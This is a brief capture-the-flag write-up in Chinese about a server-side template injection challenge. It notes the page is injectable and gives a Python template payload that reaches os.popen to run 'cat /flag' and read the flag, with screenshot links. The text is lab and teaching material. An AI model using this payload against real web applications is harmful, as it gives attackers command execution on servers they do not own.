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SSTI

这道题发现可以注入 ![SSTI_d01e5683](/images/writeups/SSTI_d01e5683.png) 构造payload:{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat /flag').read()}} 得到flag ![SSTI_fa61ecd1](/images/writeups/SSTI_fa61ecd1.png)